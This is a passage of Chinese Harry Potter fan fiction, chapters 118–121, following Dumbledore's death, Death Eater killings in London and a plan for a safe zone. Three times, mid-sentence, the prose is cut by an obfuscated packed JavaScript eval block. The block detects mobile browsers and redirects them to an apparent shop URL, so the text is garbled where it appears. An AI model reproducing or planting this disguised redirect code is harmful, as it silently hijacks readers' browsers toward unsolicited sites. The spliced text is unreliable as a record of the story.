非常好,邓布利多校长总有他的理由,塞西尔也有她的理由,凤凰社的事业更是有各种理由,莉兹想自己从来都是这样两不干涉的,甚至豁出了半条命全力支持这些使命,怎么就没有一个人反过来看看她呢。 梅林在上,自己又不是自愿成为老魔杖的主人的。 一句“聪明人总要多吃些苦头”竟然成了从那时走到现在的全部说辞,莉兹就算早就看穿了自己在这段反抗故事中被摆放的那个特殊的位置,可随之而来的被动太让人难受了。 没错,她几乎没有多花一秒钟去思考,在咒语第二次失败时她就立刻反应过来这件事与凤凰社脱不了干系,而且不出意料,应该是她亲爱的姑姑塞西尔的手笔。 这不是一般的防护咒,它需要不被人发现,发现了之后也无法用任何咒语破解,就像一个强力的约定一样,在某个时刻突然起效。 塞西尔可能很早就将咒语放在这个屋子里了,只是没有条件激活它罢了。 不知道这个条件和哈利传来的求救消息有没有关系,莉兹那从来算不上好的预感告诉她,这些事情全都是串在一起的,而一切都指向了霍格沃茨,指向了—— 如果处在暗中真正的主人需要被保护,那意味着自始至终站在舞台上吸引注意力的主人,他已经被发现了。 “我有时候真有点讨厌邓布利多了,”莉兹自言自语着,“爷爷还在他们手里呢……” 身后突然传来吱呀一声,她回过头去,带着一脸睡气的伍德扶着门把手,懵懵然望向自己,他眨了好几次眼睛似乎都没想起来要说什么,只是缓缓歪过头,看起来还在确认自己眼前的不是梦境。 “你还没有睡吗?”伍德努力睁开眼睛,借着窗外的路灯透进来的微弱光线,总算是找到了莉兹那双银白色的眸子,他打了两个呵欠,弯下腰把坐在地上的人抱起身,“睡不着可以坐在沙发上,地板可不是什么好选择。” 冷不丁离开了地面,莉兹下意识勾紧了伍德的脖子,刚刚焦躁的状态被对方碎碎念一般的关心打破了一些,她便轻轻叹了一口气,整个人放松下来两手环抱住他,用鼻尖蹭了蹭他的耳朵,然后埋下头靠在他的肩上。 又是难得的示好,让伍德的困意都消了一半,逐渐加快的心跳捶打着他的胸膛,可他第一反应却是:“发生了什么事情吗?” “我不知道,”莉兹的声音越来越小直到只剩下气音,“我不知道发生了什么,可是它却已经在发生了,我讨厌这样的感觉。” “是坏事吗,很糟糕吗?”伍德轻轻用手指摩挲着她的肩膀。 “我不希望是,但我觉得是,离我们很近的地方发生了非常、非常糟糕的事情。”莉兹的话吓坏了伍德,他不知道这个时刻应该做什么,只是用力地抱紧了怀里的人,好像在拥抱一份恐惧。 那份在阁楼里就将莉兹笼罩住的恐惧,伍德觉得它从未消失,倒不如说随着时间的推移,它几乎渗透进了莉兹每一个呼吸和每一个眼神中,她有时总在看着很远的地方,仿佛正有一场暴风雨在她的眼前倾盆而下。 伍德曾经以为莉兹和他们三个人一样,都是因为不认同这荒唐的世间常理而选择了提出自己的规则,可他见到过莉兹对塞德里克的内疚,他看到了莉兹将秋推开时的犹豫,他也知道莉兹不曾谈过阁楼里那段封闭的日子,她在痛苦之下而疯癫,在疯癫之下却欣喜。 就像在球场上,她找到了绝地反击的破局口,一张总是毫无波澜的脸上会慢慢浮现出笑意,下一刻伴随着猝不及防的反击痛快击碎对手胜券在握的信心。有人会说米歇尔二代的球风不愿吃一点亏,有人会说她的聪明让人毛骨悚然,伍德那个时候却只想扔下自己的守门员手套,真心为她鼓掌,那份计谋帅气过了头,让伍德忘记了被翻盘的是自己。 她不是和他们一样的叛逆者,莉兹最喜欢的角色是拯救者。 此刻门外的塞西尔听着屋内渐渐没了动静,将自己的守护神留下守着,刚准备回总部待命时,一抹银白色的烟雾从墙根冒了出来,逐渐变成了一头狼的模样,莱姆斯·卢平的声音轻悄悄响起来:“塞西尔,邓布……速来霍格沃茨校医院,请带上狼人解毒剂。” 他像是哽咽了一下,没说完的音节让塞西尔的心脏扯痛了一瞬,她不敢去想也没有犹疑的时间,只是再次瞥了一下被半透明的金色丝线缠绕住的门锁,快速踱步到暗巷尽头,幻影移形离开了东区。 与霍格沃茨只有几英里距离的霍格莫德在深夜里沉睡着,塞西尔罩上了斗篷兜帽,浓密的大胡子挡住了她的大半张脸,她熟门熟路经过猪头酒吧的后门,拿过在那里放着的一把飞天扫帚,破旧的门被推开,阿不福思披散着头发从暗处走出来,像是彻夜未眠,他蓝色的眼睛在夜色里微微闪烁着银光。塞西尔本想提醒些什么,但对方只是摆了摆手。 “快走吧,没人看见你。” 天空一片晴朗,像是被人为驱散了大片的乌云,塞西尔俯冲下来扎进禁林深处,扔下扫帚她就开始向着城堡方向跑去,一开始是快走,后来她扯下了斗篷狂奔起来,她看到越来越多的树上有被咒语烧焦的痕迹,最终目光落在了海格那间还在冒着浓烟的小屋,牙牙从废墟中爬出来,呜咽着扑向塞西尔。 一只护树罗锅躲在牙牙长长的皮毛里,在塞西尔伸手的同时钻进她的袖口。 一边安抚着牙牙,一边把护树罗锅提起身放在胸前的小兜,塞西尔知道自己不能停下脚步,哪怕是看到了学生们惊慌失措的脸色,听到了那些哭声,她都要一路向前。 哈利斩钉截铁的控诉声被打开的橡木大门突然打断,唐克斯看着神色不安的塞西尔倒吸了一口凉气,三两步冲过来紧紧抱住了她,说话的声音在颤抖:“我们……我们失去了邓布利多,塞西尔,我们失去了他。” 从这个拥抱中抬起头,塞西尔几乎是求救似的向卢平投去一个眼神,她在用眼神无声地说:“请告诉我这不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487906|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是真的。” 而卢平却是摇了摇头,身旁的哈利仍然是那副咬牙切齿的表情,他看向塞西尔:“什么失去,斯内普杀了他,是斯内普。” 这本来是一句可怕的指控,但却让塞西尔的心彻底落到了谷底,看来事情还是像邓布利多先生所想的那样,走到了这一步,他把秘密的拼图拆开,只给他们每个人留一片,他好像从来都没想过这会让人陷入什么样的情绪。哈利发红的眼眶,众人木然的表情,还有崩溃、惊恐、慌张,这会让邓布利多满意吗,像一场戏成功演完了似的。 “哦,天呐,我不应该在这里浪费时间……”唐克斯连忙拉着塞西尔走向最里面的一张病床。 一道骸人的抓痕将比尔·韦斯莱的脸差一点撕开,庞弗雷夫人勉强替他止住了血,正在旁边替他重新换纱布。塞西尔走上前将特效解毒剂递过去,趁着庞弗雷夫人去调配的功夫,她轻轻掀开纱布打量了一下伤口,半昏迷的比尔喃喃说着:“我没事的,我没事……” 拍了拍他的肩膀以示安慰,塞西尔悄声问身旁的人:“格雷伯克?” “是的,”卢平点了点头,长叹一口气,“好在是他没有变成狼人,我想这应该不会让比尔有太大的影响。” “伤口没有溃烂的迹象,算是好运气,”塞西尔应了一声,回头又看了一眼哈利,“我现在能问问今晚发生了什么吗?” 不过卢平没有立刻解释,他只是沉默了几秒,接着反问道:“你现在还好吗?” 言下之意,失去了最重要的人,现在还能撑住吗? “不管你怎么看待我,但我可能是唯一一个做好心理准备的,所以我已经接受了。”塞西尔平静地说着。 “你相信斯内普吗?”卢平说。 “我从不相信他是个好人,”塞西尔压低了声音,“但邓布利多也从来都不做没有意义的事情。” 他知道伏地魔也许会开始寻找老魔杖因此选择了制造赝品,他也知道伏地魔终究会发现自己手握老魔杖因此亲自为这根魔杖挑选了一个主人,伏地魔拉上了一个小男孩来垫背,于是邓布利多将斯内普推向了台前。 又是一阵无言,卢平慢慢看向了她。 “包括死亡?” “包括死亡。”塞西尔用手背拍了拍卢平的胳膊,回身走向哈利。 那一夜,莉兹在睡梦中再次听见了老魔杖在对着她说话,它用着邓布利多的嗓音,却不再轻快而睿智,像是弥留之际的遗言,一遍又一遍对她说:“求求你。” 之后便是一场葬礼了,每个人像悼念不再升起的的白日一般回到了霍格沃茨,莉兹不禁回想起,那时的自己没有去和塞德里克道别,单单是因为愧疚,还是回避死亡呢。 “我想我现在知道怎么面对了,但我还是很讨厌悲伤的感觉。”莉兹站在人群之外,静静地看着最前方的白色棺木,看着第一排坐着的塞西尔,对着自己这样说道。 此时带着一堆尖锐的质问刚从斯克林杰身边的杰姬一步一步走回来,身后跟着一脸严肃的伍德和帕特里克,她攥紧了铅笔,开口说:“现在我们也没有回头路了。” “那向前吧。”莉兹慢慢昂起头看向太阳。 一路向前就好了。 119. 大雨倾盆 火舌窜出窗檐,灵活得就像一条活着的大蛇一般,男孩被凸起的石块绊倒在地,恐惧让他的喉咙里发不出一点声音,同伴惊恐地看着他的身后,圆瞪瞳孔中映着一阵闪光,同时一声巨响,甚至刺穿了他的耳膜,男孩紧紧抓住同伴的手艰难爬起来,右边的裤腿被烧焦,小腿血肉模糊。 穿过这条漆黑的巷子,男孩再次回头,杂货铺前的昏黄的灯也已经熄灭,至于刚刚的将整个铺子填满的火焰竟消失得无影无踪,只有空气中弥漫着的烟尘和焦味能够证明这不是他躺在桥洞下做的又一个噩梦。 他在同伴搀扶下钻进了帐篷,口袋里掉出了几颗糖果,捡来的露营灯光亮微弱,看不清烧伤的地方,可是剧痛却折磨着他。逐渐地有轰鸣声包裹着他的头,帐篷被同伴掀开,他正对着自己大声喊着什么。 然而他什么也听不见。 入夏以来最猛烈的大雨在今夜灌注着伦敦,来不及流进排水沟的雨水在砖石路面上像涌起的浪,一波接着一波,直到日出时分都没有片刻停歇。 公寓老旧的木制窗框缝隙里渗进了水,几个小时就把墙纸泡得变了颜色。伍德刚刚修理完厨房漏水的窗台,连忙敲着房门要叫醒莉兹,打开门只看到了空荡荡的一张床铺,还有临时用咒语封住的窗框,这才早上七点,她不知什么时候就出了门。 在邓布利多葬礼之后,莉兹养成了一个新的习惯,她总会让自己的守护神在附近的街区巡逻,她似乎开始不信任所有的安全屋,也不再信任自己的保护咒,她迫切地要让一切都在自己的观察与掌控之下,无能为力就像一种诅咒一样,这磨碎了莉兹那曾经因自己的智慧产生过的喜悦。 黑黄相间的警戒线将行人拦在路口,莉兹将遮住视线的斗篷兜帽挪开一点,两个麻瓜警察撑着伞站在不远处,她偷偷一挥魔杖,对话的声音传进她的耳朵。 “上帝保佑,这都烧得面部全非了,能确认是店主吗?” “查克刚刚问过周边的居民了,晚上杂货铺里一般只有死者一人。” “我瞧这店铺产权所属是莱奥妮·艾博?” “没错,就是死者。” “老太太上了年纪没有按时进行消防申报,没想到遭了殃。” “能直接结案了……” 莉兹不自觉倒吸了一口凉气,没有再听下去,她和往常一样不知道怎么处理自己的情绪,乱麻一样的心绪干扰着她的思考,原来玛德琳女士的名字是莱奥妮,这得是多么大的巧合,才会让自己在心里给她起名玛德琳,这一刻的莉兹觉得自己成了故事里那个马塞尔,竟会在这个瞬间回忆起玛德琳泡在红茶里的甜味。* 看着装尸袋被推进了车厢,莉兹哑然失笑,奇怪的表情被一旁的麻瓜路人看在眼里,就像她是一个怪物。 也许非旁观者总有互相吸引的可能,她在人群中捕捉到了另一个当局者的眼神,那男孩看起来并不陌生,不出意料应该是经常来给莱奥妮找麻烦的几个流浪小孩中的一个。莉兹向前走了几步,他立刻意识到自己被盯上,转身便又跑开。 结果才一眨眼,莉兹已经挡住了他的去路,男孩被这个头不高的黑衣斗篷吓了一跳,害怕地跌坐在地上,然后连滚带爬地躲进暗巷里,他嘴里喊着:“你……你你别过来——” “我想你昨晚看见了什么?”莉兹慢慢靠近,轻巧地施咒停住了头顶的雨,接着摘下兜帽蹲下来看向他。 年纪相近的女孩长着一双奇特的银色眼睛,她的语气温和,手里拿着一根细长的木棍,男孩抬手指着它,努力平复着呼吸:“昨天……昨天那群人也有这个东西,莱昂太太也……也有……” “你是说莱奥妮?”莉兹确认。 “她总是让我们叫她莱昂,”男孩似乎正在逐渐平静,“昨天我们是想去偷酒喝的,被她发现了,又塞给我们很多糖,我……不知道,我真的不知道那些是什么人,他们砰的一声就出现了,穿着黑色的斗篷,莱昂太太把我们推出了后门,然后就起火了……” “非常抱歉,”莉兹稍微有些焦躁了,她在他的眼前举起魔杖,“摄神取念。” 一段记忆出现在眼前—— 莱奥妮·艾博红着眼眶怒骂:“你们大老远来到这里,是为了告诉我是罗齐尔杀了我的孩子吗?” “当然不是了,艾博夫人,我们是来送你见女儿的。”一个男人摘下了面具,他那一夜也在奥利凡德店里出现过。 “请问我犯了什么死罪,走狗先生?”莱奥妮将桃木手杖高高举起。 “玷污纯血?接济麻瓜?败坏巫师的名声?”男人走近她,“太多了,多得我数不过来了——” 他后头的几个人跟着笑出声来,莱奥妮的手在颤抖,火焰从脚底慢慢燃起,她被定在了原地,手杖掉在了地上被男人踢开。 痛苦的呻/吟/声响起之前,莉兹拿开自己的魔杖,停止了阅读记忆。 惊慌的神色又出现在男孩的脸上,他再次后退直到后背撞上了墙,但此时莉兹已经无暇顾及对方的心情,准备再拿起魔杖时男孩大声喊道:“救救我!救救我的朋友!你……你能做到,你有这个……” “魔杖。”莉兹接道。 “魔杖!是的,你能救我的朋友吗!”男孩扶着墙根站起来,“他的腿快烂掉了,昨天的火烧到了他的腿……” 这件事情总算把莉兹从刚刚那段记忆里拉了出来,她跟在他身后穿过街巷来到了一段废弃的地下通道,另一个身材更瘦弱的男孩蜷缩在一张破烂毯子下,露出的半截小腿早已溃烂,哪怕是麻瓜都看得出这不会是普通的烧伤。 莉兹弯腰摸了摸男孩的额头,他体温奇高,嘴里也在说着胡话,而她不是姑姑塞西尔,并没有随身带药剂的习惯。 “你能帮帮他吗?”小心翼翼的求救听得莉兹皱起了眉头。 “我一个人不行,我需要我的朋友帮助。”莉兹直起身,左右看了看,一束白光从魔杖尖端冒出来,绕着她转了一圈变成了一只猎狼犬,“它会在这里陪你们。” 男孩惊讶地瞧了一眼这只像幽灵一样半透明的狗,呆呆跪坐在自己的朋友身旁,望向通道口,莉兹刚刚就在那里消失了。 安顿好一切回到公寓的时候已经接近中午了,这场大雨终于停了下来,把湿漉漉的暑气带了回来,莉兹只看到餐桌上放着一份没动的早餐,估计是伍德留给她的,她把三明治囫囵吞下一半,在沙发上坐下翻阅着早上的报纸和杰姬随手写的便签纸。 《预言家日报》没有提到昨天伦敦市区的天桥倒塌,麻瓜的《卫报》不仅报道了,还附上了遇难者名单,想到这里莉兹又把电视打开,午间速报果然说了杂货铺的事情,但是煤气管道爆炸——用这种说法糊弄麻瓜,魔法部联络部门的工作未免太好做了。 把剩下一半三明治塞进嘴里,公寓门刚巧被打开,帕特里克和杰姬一前一后进来,两个人手里都拿着厚厚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487907|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 采访本,一看就是刚取材完回来。 “哦梅林你不会相信今早发生了什么!”杰姬脱下外套坐过来。 “我觉得不会再有什么让我吃惊了。”莉兹耸了耸肩,毕竟她都能让在圣芒戈实习的秋·张帮忙带走两个麻瓜男孩了,今天还有什么更精彩的吗。 “伦敦开往威尔士的火车出轨了,”帕特里克坐在旁边的扶手椅上,“莱莉·塔克和她的女朋友在那辆车上。” “没错,她是麻瓜,完全没有魔法的纯麻瓜。”杰姬补充道。 “我们去了一趟事故现场,伍德现在还在圣芒戈,他说等塔克清醒过来他再回来。”帕特里克转头看到了电视上提到的杂货铺,“这是玛德琳女士的店是吗,你早上是去她那里了?” 莉兹点了点头,她的沉默解释了一切。 杰姬摇了摇头:“这个星期都多少次了,斯克林杰是不是和食死徒签了什么协议,居然这样随便他们杀人?” “天桥、杂货铺、火车——三次了,《预言家日报》在装哑巴,至于麻瓜新闻,都被魔法部处理成意外了。”莉兹碎碎念着,而后像是想起了什么似的问帕特里克,“你对莱奥妮·艾博这个名字有印象吗?” “艾博?”杰姬倒是先反问道,“是A、B、B、O、T、T这个艾博吗,纯血家族?” “你认识吗?”莉兹看向她。 “我还在当级长的时候,赫奇帕奇学院有一个艾博,”杰姬回答说,“因为全年级只有她一个艾博,所以我记得,她说过她爸爸是个上班族。” “原来如此。”莉兹垂眼思考着记忆里那个男人给莱奥妮安的罪名。 “去年我爸爸回来参加了艾博夫人的葬礼,听说她经常和丈夫一起在麻瓜的教会做义工。”帕特里克过了一会儿开口道,“艾博家几乎没有后人了。” “那孩子叫什么?”莉兹反应过来,“还活着的那个孩子?” “汉娜?哈妮?”杰姬皱眉仔细想着,“我马上写信回霍格沃茨打听一下。” 按着太阳穴低下头来,莉兹觉得自己的思考速度越发慢了,疲惫的感觉太明显了,帕特里克轻轻拍着她的后背,关切道:“你该休息一会儿了,你太紧张了。” 她应了一声,可脑子里依然在想那个男人会不会再回到莱奥妮的杂货铺去,他们应该会想欣赏自己的杰作。 帕特里克见她依然没有抬头,只好轻叹一口气,着手开始整理火车出轨的稿件,一旁的杰姬起身去到了窗台将笼子里的米拉尼尔放出来,拿起一片火腿喂给它,然后将羊皮纸卷系在它爪子上。 “我们也没剩几片肉了。”帕特里克出声提醒。 “费尔曼先生你也太抠门了,”杰姬瞪着眼睛,“我的稿费下周就到账了!” 米拉尼尔咕咕叫了两下,歪了歪头像是在嘲讽帕特里克似的,接着展开翅膀飞出窗户。 “这小子!”帕特里克昂起头看向外面。 “它很聪明的,和奥利弗不一样。”莉兹轻笑道,“它会记仇。” “那倒是。”帕特里克表示同意。 “真是讨厌的两个拉文克劳。”杰姬点了点俩人。 “哦——纯属个人行为,学院不买单。”莉兹与帕特里克异口同声。 说罢,三人又一起笑了。 *普鲁斯特的《追忆似水年华》主人公马塞尔在吃玛德琳蛋糕的时候回忆起童年在莱奥妮姨妈家的故事。 120. 安全第一 这天下午的时候塔克醒了一阵子,但她的情况并不算好,加上她是知名的魁地奇球星,被安排进了特别病房,拒绝一切访客,伍德便没机会同她说上话,他只好悄悄去找同样科室的秋打听消息,可她今天不知在忙些什么,根本见不到人影。 见他一直在转悠又一脸担忧,另一个实习治疗师安泊尔便信了他的自我介绍里那句“我是秋的好朋友”,将他迎进办公室里,还给他倒了一杯红茶,接着一边舀着糖一边说道:“今天早上她上班时带过来了两个麻瓜男孩,一个受了非常严重的烧伤,所以她到现在都还在楼上的病房里被傲罗们盘问。” “麻瓜男孩?”伍德疑惑。 安泊尔瞥了一眼伍德:“我是不知道他们想得到什么样的回答,那一看就是咒语弄出的烧伤,送到麻瓜医院不是等死吗?” 看来又是一起袭击案件了,伍德心不在焉地搅动着杯子,对方趁空追问:“你呢,来找秋做什么?” 木头一样的家伙至今仍然没办法灵活应对突如其来的提问,伍德张开嘴想敷衍两句,可是脑子实在没跟上,恰巧办公室的门在这时候被推开,科室的领头治疗师罗里·奥利凡德领着塔克的女朋友凯特进了门。 肉眼可见的尴尬在办公室里霎时发酵起来,在工作时间偷懒的安泊尔看见了上司巴不得消失在原地,而某种意义上可以说是带着莉兹离家出走的伍德一见到罗里的脸就开始心慌,仿佛自己是个拐走别人女儿的恶人。 幸好凯特主动和他打了招呼,顺势打破了僵局,也给了安泊尔溜出去的时间,联赛没停止的时候,他们曾经因为客场比赛见过几面,上一次在布莱顿的友谊赛,凯特也来了。 也许是她认为塔克足够信任伍德,也有可能是这个时候孤立无援的她需要一个支撑,罗里开口解释病情前,凯特叫住了准备离开的伍德。 心虚地又看了一眼罗里,奥利弗·伍德两手握拳坐在了凯特身边。 事故发生后她们两个人是同时被送来医院的,但凯特只是手腕脱臼的轻伤,很早就醒了过来,而塔克是一个巫师,她的昏迷很显然与简单的皮外伤无关,治疗师们花了很久都没有能搞清楚除了夺魂咒之外,她还中了什么咒语, 不确定的诊断以及完全陌生的咒语对于一个麻瓜来说简直增加了一倍的担忧,尽管其他人不同意罗里将实情全部告知的决定,但凯特毕竟是唯一能够陪伴在这里的家属,罗里认为没有人比她更合适了解这些情况。 他耐心地将咒语和会导致的后果都全须全尾地讲述给她,同时希望她可以相信圣芒戈魔法伤病医院,这里应该会是目前最安全的地方,她可以先留在这里。 将情绪平复的凯特送上电梯,伍德非常老实地站在走廊上等待罗里,不过没有得到猜想中的质问或者是更激烈的反应,他只是简单嘱咐了一句万事小心就转了身。 看着罗里的背影,伍德在想他们家的人是不是都有种喜欢用沉默来关心人的坏毛病,结果下意识喊出声:“她很好,您放心!” 男人的脚步果然停住了半秒,然后就像什么都没听见似的,继续向前走,如果伍德的听力足够好的话,大约能听到他隐约的自言自语,他在说:“我知道。” 后来伍德在特别病房又和凯特问了一些早上在火车上的事情,他还掏空脑袋想了一些鼓励的话,努力的样子逗笑了凯特,她反过来安慰他说:“莱莉和我都说过,你们一直在坚持调查所有真相,这一定很不容易吧。” 这让本就笨嘴拙舌的他直接愣在了当场,一丝愧疚和挫败油然而生,伍德现在真的觉得自己是个离开了魁地奇球场就一无是处的家伙了。差不多到了傍晚,他回到了公寓,站在楼下路灯旁看着灯火通明的屋内,心里那点郁闷的情绪稍稍缓解了一些,看来人只要知道有人永远站在自己身边就能获得一些力量。 刚把钥匙插进门锁,伍德就听到他们几个人正在热络地讨论着什么,推开门看到手舞足蹈着的李·乔丹甚至还背着工作用的背包,他站在电视机前,迅速和门口的伍德嘿了一声,几乎听不出任何停顿。 “嘿,奥利弗……对了我今天还偷听到一件非常劲爆的事情,梅林听了都要说一句荒唐至极,你们敢相信吗,亚克斯利正式入职魔法法律执行司了,说真的,我以为他从魁协跑路之后就卷款潜逃了呢。” “这可不只是荒唐,简直是令人作呕了,魁地奇联赛的资金都要贪污的家伙要插手巫师审判了,魔法部完了。”杰姬差点把手里的马克杯甩出去,连忙扶正后转头看向挨着莉兹坐下的伍德,“塔克那边怎么样?” “情况不太乐观,她还没醒,”伍德拿开了沙发上的靠垫,莉兹挪了挪位置刚好靠在他身上,“她中了夺魂咒,凯特说看到她对火车施了咒之后才冲出铁轨的,但她又立刻施了咒语让火车停住,所以车上的麻瓜基本上都没受伤。” “负责这件事的傲罗是谁,你看到了吗?”帕特里克开口问。 “不好惹的那几个在盘问秋,我走之前碰见了唐克斯,”伍德解释说,“哦——秋那里好像也出了点事情……” “这个我一会儿解释,”莉兹捏了捏伍德的手心看向李,“你刚刚没说完吧,亚克斯利入职肯定不能静悄悄的。” “没错!”李一拍手,提高了嗓门,“今天《预言家日报》的主编来我们这里了,他想问当时魁协法案的事情,但是你们都知道的,上面早就给了指示,谁敢出头翻旧材料,他们在屋子里吵了好一会儿,我这才能偷听到这种猛料,据说亚克斯利准备在这周的部长会议上再次提请通过这份法案……” 帕特里克打断了李,神色凝重:“麻瓜身份登记政策,这是推行那份魁地奇法案的真实目的,也就是说,他们终于准备肃清巫师界了。” “你什么时候知道的?”杰姬瞪圆了眼睛看着他,“居然还瞒着我,我们不是每天都一起出去吗?” “就是这个麻瓜身份登记,我就说嘛,我听了一半实在不知道是什么东西。”李可算是放下了那累赘的背包,盘腿坐在了地毯上。 “总之我有第一手内部消息。”帕特里克摇了摇手指,“莫问,莫问。” 杰姬一脸鄙夷地斜了他一眼,翻着准备好的节目讲稿说:“那我们现在除了能在电台提醒大家注意安全,什么都做不了了是吗,食死徒们还在外面不断迫害与麻瓜亲近的巫师,这也太让人难受了。” 莉兹也皱起了眉头:“我其实也一直在思索,我们的巡逻区域太有限了,而且即便是真的是有危险发生也很难全身而退,就像上次的狼人事件。” “真希望有一个安全区啊,地方够大,同时很隐蔽的那种。”杰姬下意识摸了摸先前留下的伤疤。 一直以来都不擅长加入谈话的伍德听到安全区的说法,大脑开始飞速运转了起来,罗里与凯特说的圣芒戈就是一种安全区,不过医院很显然接纳不了太多人,可伍德总觉得自己曾经见过能够符合要求的场所,而且还很熟悉。 他的思考被几个人肚子的叫声按下了暂停键,虽然今天轮到了帕特里克做晚餐,但伍德还是跟过去帮手了,大家心里要消化的事情太多了,就不要让可怕的料理增添肠胃的负担了。 这日之后过去了差不多一个礼拜,那条街上的杂货铺似乎被重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487908|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新装修了,原本留出的窗户都变成了深色的砖墙,面向街道的这一侧只有一扇黑色的木门,莉兹在暗中观察了一晚上,出入的人都带着魔杖,同时也沾着黑魔法,她隐约听得到那些令人不适的声响,他们都遮着脸,穿着那天从男孩的记忆里看到的黑色斗篷。 守到快破晓时,她总算见到了一个人的脸,老奥利凡德被绑架的那个晚上,这个人也在,加上在记忆中见过的那一位,这里应该已经成了食死徒在东区的据点了。 手不自觉地发抖,莉兹再次意识到她一个人做不了任何事,不管下一步要做什么都不可能保证自己的安全,匆匆离开后她本想和以前一样什么都不说,可是看见坐在沙发上打呵欠等待的伍德,她还是开了口。 “我想我们四个人应该有办法压制住一到两个食死徒的,要试试吗?”伍德说道。 莉兹犹豫了一下,她很清楚自己在邓布利多去世后就应该避免所有正面战斗了,这仿佛也成了他保护自己的一种手段,所以她摇了摇头:“我会先把这件事告诉塞西尔的。” 谁能料到杂货铺仿佛只是一个糟糕的开端,很快地,圣芒戈魔法伤病医院也遇到了大难题,莉兹从秋那里听说病房快被注满了,袭击事件还在接连不断发生,而很多人接受完治疗却无法出院回家,因为他们都是住在麻瓜社区的巫师,房子在他们受袭后就被食死徒霸占了。 “……你们也在麻瓜街区,一定要小心。” 读完信件最后一句话,四个人都沉默了,虽说东区只有艾博夫人的杂货铺遭了殃,加上这里本身就没有其他巫师的存在,工作室的保密咒也值得信赖,不可能被发现,然而事情不能一直这样下去了,总不能让大家都躲起来。 伍德最先打破了寂静,他握住了莉兹的手,下定决心似的说:“你想回普德米尔球场看看吗?” 她的眼神只花了半秒钟就从茫然疑惑变成了恍然大悟,伍德继续说道:“那里应该是目前伦敦市内唯一一个现成的受到强大保护咒封锁的区域了,除了圣芒戈以外,而且球场一直有密道。” “可是这现实吗?”杰姬也反应了过来。 剩下的聪明人帕特里克已经表示了同意,他点了点头说:“总比没有好。” 发现自己的主意派上了用场,伍德松了一口气:“我一直没有告诉你们,其实我罢赛反魁协这个事情,高层是支持的,我当时没有因此被队内处罚也是这个原因。” “我猜到了。”莉兹应了一声,开始规划下一步的行动,“我知道董事维特尔的家住在哪里,我和妈……米歇尔女士去参加过他儿子的生日派对。” “那就兵分三路——今天等李过来,我们负责今晚的节目,帕特里克去圣芒戈多采访一些人,至于你们俩,现在就去找维特尔。”杰姬点着人头安排着任务。 莉兹回房间收拾着出门的东西,伍德站在门边问:“维特尔的儿子在霍格沃茨吗?” “布斯巴顿,”莉兹说,“三强争霸赛的时候来过霍格沃茨。” “我那时候毕业了。”伍德耸了耸肩。 她又读出了他的一点失落情绪,最近这段时间似乎总是这样,伍德偶尔看起来有些没精神,依旧不擅长表达关心的莉兹这会儿就没有任何借口了,像是要去巡逻、要去写稿子、要去录节目,所以她放下了手里的资料,回身三两步走到他跟前,垫着脚揉了揉伍德的头。 “能想到普德米尔球场做安全区,这太厉害了。”她的眼里有笑意,“你知道吗,奥利弗,你很厉害。” 一股热气在胸腔弥漫开,伍德拥抱着莉兹,低头埋在她的肩上,眼底湿润。 121. 送命?使命? 有时候时间会被具像化,当塞西尔推开自己那间卧房时,年久失修的木门发出刺耳的吱呀声,地上的积灰被开门的动作带起,扬在眼前成了一片雾,蜘蛛网几乎包裹住整个床头,窗台的两个花盆早就干裂开,她似乎也想不起曾经在那里面种过什么。 况且,房间是这样的状态,大约也没有人能够帮她回忆,说来也滑稽,她离开这里的时间已经差不多要超过住在这里的时间了。 奥利凡德家二楼最西侧的小房间,塞西尔在这里长大,还没到上霍格沃茨的年纪时,她的好奇心给她带来了许多麻烦,比如她偷偷在屋子里养过几只莫特拉鼠,谁料到过了十月的发情期,圣诞节前它们变成了一大群,在手作的笼子里关不住,便跑到了旁边房间,在床上和衣柜里安营扎寨。 等罗里放假回来见到这等盛况,兄妹俩都来不及打上一架,他只能买了更大的笼子,用兜网在屋子里追着莫特拉鼠跑。扛着鼠笼骑着扫帚,罗里一言不发地带着妹妹去布莱顿海岸,放生了这十来只惹祸精。 至于最大的惹祸精,小心翼翼跨坐在扫帚后面,紧紧攥着罗里的斗篷,哥哥不说话,她也不说话。 塞西尔好像也记不起自己有没有道歉了,总之这晚老奥利凡德买了一个三层高的圣诞蛋糕,看起来应该是想要营造一个温馨的节日氛围,可是两个子女却一副笑不出来的样子,难得的三人晚餐,安静得只能听见木柴在壁炉里燃烧时发出的噼里啪啦声。 说起来,提着行李敲开家门的这晚,罗里脸上的表情就让她回忆起了莫特拉鼠的事情,那种“我是长子因此要负责一切”的表情,有很长一段时间都让塞西尔不知如何与他相处。 “如你所见,我无处可去了。” 她省略了前情与后果,只对罗里说了这一句话。 